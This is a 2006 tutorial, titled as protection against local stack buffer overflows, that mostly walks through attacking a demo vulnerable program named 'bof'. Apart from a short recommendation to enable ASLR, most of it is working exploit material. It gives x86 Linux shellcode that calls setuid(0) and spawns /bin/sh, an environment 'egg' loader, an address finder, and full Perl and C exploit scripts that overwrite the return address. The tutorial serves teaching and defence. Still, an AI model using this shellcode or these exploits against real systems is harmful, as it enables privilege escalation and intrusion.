============================================================== Protecting against Local Stack Buffer Overflow Exploits ============================================================== Table of Contents [1] Making difficult for attackers to load their exploits [2] Preparing to exploit a local Stack Buffer Overflow [3.1] Crafting the Exploit [3.2] Finished exploit (shellcode loaded in the Environment) [3.3] Finished exploit (shellcode injected through the exploit) [4] Conclusion [5] Recommendation ============================================================== [1] Making difficult for attackers to load their exploits To make difficult remote code execution on the stack you should enable this kernel parameter: echo 1 > /proc/sys/kernel/randomize_va_space This will result in random Virtual Address space, which will make very difficult to locate a return address to point arbitrary code execution. [2] Preparing to exploit a local Stack Buffer Overflow First the attacker would need to load the code he wants to execute. This code is known as a "shellcode". It contains the payload with the instructions needed to execute. To demostrate this we will use a shellcode we prepared to open a shell prompt. -----------------[egg1.c]------------------- #include #define NOP 0x90 char shellcode[]= /* HACKCRAFT shellcode */ "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x54\x20\x20\x0a" "\x68\x43\x52\x41\x46\x68\x48\x41\x43\x4b\x89\xe1" "\xb2\x0f\xb0\x04\xcd\x80\x31\xc0\x31\xc0\x31\xdb" "\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24" "\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0" "\xb0\x01\xcd\x80\x5d\xc3\x8d\x76\x00"; int main(void) { char shell[512]; puts("Eggshell loaded into environment."); memset(shell,NOP,512); memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode)); setenv("EGG", shell, 1); putenv(shell); system("bash"); return(0); } ---------------------------------------------- Next we need to find where the "shellcode" we just loaded is located in the memory address space. It is clear now why our first recommendation is very helpful in making this a very hard task. ---------------[ eggfind.c ]------------------ #include int main(void) { printf("0x%lx\n", getenv("EGG")); return 0; } ---------------------------------------------- [3.1] Crafting the Exploit Having all the necessary information (vulnerable application, shellcode loaded) we can craft an exploit like this to complete this demo: -------------[ xbof.pl ]---------------------- #!/usr/bin/perl # $len = 1024 + 8; # The length needed to overwrite the EIP register. $len = 72 + 8; # $ret = 0xbffff770; # The stack pointer at crash time. $ret = 0xbffffc03; # The stack pointer after Segmentation Fault (info reg ESP). # $ret = 0xbffffccf; # This is where the NOPs EXACTLY start. $nop = "\x90"; # x86 NOP $offset = 0; # Default offset to try. if (@ARGV == 1) { $offset = $ARGV[0]; } print("Using offset : $offset \n"); $c=0; for ($i = 0; $i < ($len - length($shellcode) - 4); $i++) { $buffer .= $nop; $c++; } # [ Buffer: NNNNNNNNNNNNNN ] $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n"); $new_ret = pack('l', ($ret + $offset)); for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] $lshellcode=length($shellcode); # print("\n\nDATA:\n"); print("Shellcode length: $lshellcode \n"); # print("buffer specially crafted : $buffer \n"); # print("Number of NOPs : $c \n\n\n"); local($ENV{'KIDVULN'}) = $buffer; exec("./bof '$buffer'"); # We finally do this to place $buffer on the Stack, and # we can get the memory address of the variable KIDVULN with ./eggfind [3.2] Finished exploit (written in PERL) -------------[ xbof.pl ]-------------------------------------------------------- #!/usr/bin/perl $shellcode = /* HACKCRAFT shellcode */ "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x54\x20\x20\x0a". "\x68\x43\x52\x41\x46\x68\x48\x41\x43\x4b\x89\xe1". "\xb2\x0f\xb0\x04\xcd\x80\x31\xc0\x31\xc0\x31\xdb". "\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e\x2f". "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24". "\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0". "\xb0\x01\xcd\x80\x5d\xc3\x8d\x76\x00"; # $len = 1024 + 8; # The length needed to overwrite the EIP register. $len = 72 + 8; $ret = 0xbffffc03; # The stack pointer after Segmentation Fault (info reg ESP). $nop = "\x90"; # x86 NOP $offset = 0; # Default offset to try. print("=================================================================\n"); print(" /etc/bof Stack Overflow Demo Exploit \n\n"); print(" by Hugo Martin [ www.hackcraft.com ] \n"); print("=================================================================\n"); if (@ARGV == 1) { $offset = $ARGV[0]; } print("Using offset : $offset \n"); $c=0; for ($i = 0; $i < ($len - length($shellcode) - 4); $i++) { $buffer .= $nop; $c++; } $buffer .= $shellcode; print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n"); $new_ret = pack('l', ($ret + $offset)); for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } exec("./bof '$buffer'"); -------------[ xbof.pl ]-------------------------------------------------------- [3.3] Finished exploit (written in C) -------------[ xbof.c ]-------------------------------------------------------- #include #include void aborted(int); char shellcode[]= /* HACKCRAFT shellcode */ "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x54\x20\x20\x0a" "\x68\x43\x52\x41\x46\x68\x48\x41\x43\x4b\x89\xe1" "\xb2\x0f\xb0\x04\xcd\x80\x31\xc0\x31\xc0\x31\xdb" "\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e\x2f" "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24" "\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0" "\xb0\x01\xcd\x80\x5d\xc3\x8d\x76\x00"; main() { unsigned long ret = 0xbffffd30; char buf[272]; char egg[1024]; char *ptr; int i=0; memset(buf,0x90,sizeof(buf)); ptr = egg; for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = '\x90'; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[1024 - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); buf[268] = (ret & 0x000000ff); buf[269] = (ret & 0x0000ff00) >> 8; buf[270] = (ret & 0x00ff0000) >> 16; buf[271] = (ret & 0xff000000) >> 24; buf[272] = 0x00; printf("=================================================================\n"); printf(" /etc/bof Stack Overflow Demo Exploit (C) \n\n"); printf(" by Hugo Martin [ www.hackcraft.com ] \n"); printf("=================================================================\n"); printf("ret: 0x%x\n",ret); printf("buf: %d\n\n",strlen(buf)); execl("bof", "bof", buf, NULL); } -------------[ xbof.c ]-------------------------------------------------------- [4] Conclusion There are several ways to inject shellcode when exploting buffer overflows, it is recommended to make it difficult for the attackers to locate reliable memory address space to place the payload with the arbitraty commands. [5] Recommendation I strongly suggest activating random va space: echo 1 > /proc/sys/kernel/randomize_va_space ================================================================================ by Hugo Martin, SCNP 2006 (cc) www.hackcraft.com